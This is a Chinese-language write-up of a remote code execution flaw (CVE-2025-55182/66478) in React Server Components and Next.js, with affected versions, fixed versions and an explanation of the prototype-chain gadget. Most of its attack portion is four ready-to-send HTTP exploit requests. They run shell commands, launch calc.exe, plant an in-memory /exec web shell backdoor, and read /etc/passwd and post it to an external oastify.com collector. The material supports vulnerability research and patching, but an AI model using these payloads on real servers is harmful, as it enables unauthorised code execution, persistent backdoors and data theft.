漏洞概述
React Server Components 19.0.0、19.1.0、19.1.1 和 19.2.0,包括 react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack 以及所有 Next.js 15/16 项目存在远程代码执行漏洞,该漏洞由对 Server Function 端点 HTTP 请求的有效载荷进行不安全的反序列化引起,允许未身份验证的攻击者远程执行任意代码,利用该漏洞无需身份验证。
影响版本
- react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- react-server-dom-turbopack: 相同版本
- Next.js: 15.x, 16.x(打补丁前),14.3.0-canary.77+ 的 canary 版本
已修复版本
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+
CVE-2025-55182
POC 验证脚本的核心验证思路是:构造一个恶意的 Flight Protocol 序列化对象,利用 React Server Components 解析过程中的原型链污染和逻辑漏洞,触发远程代码执行 (RCE)。
具体来说,其验证逻辑分为以下关键步骤:
- 构造“毒化”的 Payload (Payload Construction)
Exploit 脚本会构造一个特殊的multipart/form-data请求,包含三个精心设计的字段,形成一个对象图闭环:
- Field 0 (伪造 Chunk): 一个 JSON 对象,伪装成 React 内部的 Chunk。
then: 设置为自引用的特殊字符串"$1:__proto__:then"。这会解析为Chunk.prototype.then,欺骗 React 将其视为合法的 Promise/Thenable 对象。
value: 包含嵌套的 Trigger,例如 {"then":"$B1337"}。$B 前缀专门用于触发 React 内部的 Blob/Form 处理逻辑。
_response: 包含核心 Payload。特别是 _formData.get 被指向 "$1:constructor:constructor"。
- Field 1 (循环引用): 值为
"$@0",指回 Field 0。这种循环引用是利用 Chunk.prototype.then的关键,确保存储在 Field 0 中的伪造 _response 被使用。
- Field 2 (防御性填充): 一个空数组
[],用于满足内部 _chunks Map 的结构要求,防止解析时崩溃。
- 触发执行链 (Trigger Mechanism)
验证脚本将此 Payload 发送到服务器的 Action 端点 (如 /formaction)。服务器端的解析流程如下:
- 反序列化:
decodeReply 解析表单字段。
- 激活伪造 Chunk: 由于自引用的
then 属性,React 尝试“resolve”这个伪造的 Chunk,并错误地使用了攻击者提供的 _response 对象。
- 触发
$B Handler: 当解析 value 中的 "$B1337" 时,React 的 parseModelString 会调用response._formData.get(...)。
- 路径遍历 (Path Traversal):
getOutlinedModel 函数在解析 _formData.get (即"$1:constructor:constructor") 时,没有检查 hasOwnProperty,导致通过原型链遍历拿到了 Function 构造函数。
- 代码执行: 最终变成了执行
Function(攻击者代码 + "1337")。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST / HTTP/1.1 Host: localhost:3000 Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 689
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('dir').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
Content-Disposition: form-data; name="1"
"$@0"
Content-Disposition: form-data; name="2"
[]
|
CVE-2025-66478
https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST / HTTP/1.1 Host: localhost:3000 Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 556
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('calc.exe');","_formData":{"get":"$1:constructor:constructor"}}}
Content-Disposition: form-data; name="1"
"$@0"
Content-Disposition: form-data; name="2"
[]
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST / HTTP/1.1 Host: localhost:3000 Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 556
------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{\"then\":\"$B1337\"}","_response": {"_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1"
"$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2"
[] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST / HTTP/1.1 Host: localhost:3000 Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 1158
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
Content-Disposition: form-data; name="1"
"$@0"
Content-Disposition: form-data; name="2"
[]
|

参考链接
- https://xz.aliyun.com/news/90754
- https://github.com/ejpir/CVE-2025-55182-research
- https://github.com/sudo-Yangziran/CVE-2025-55182POC
- https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
- https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478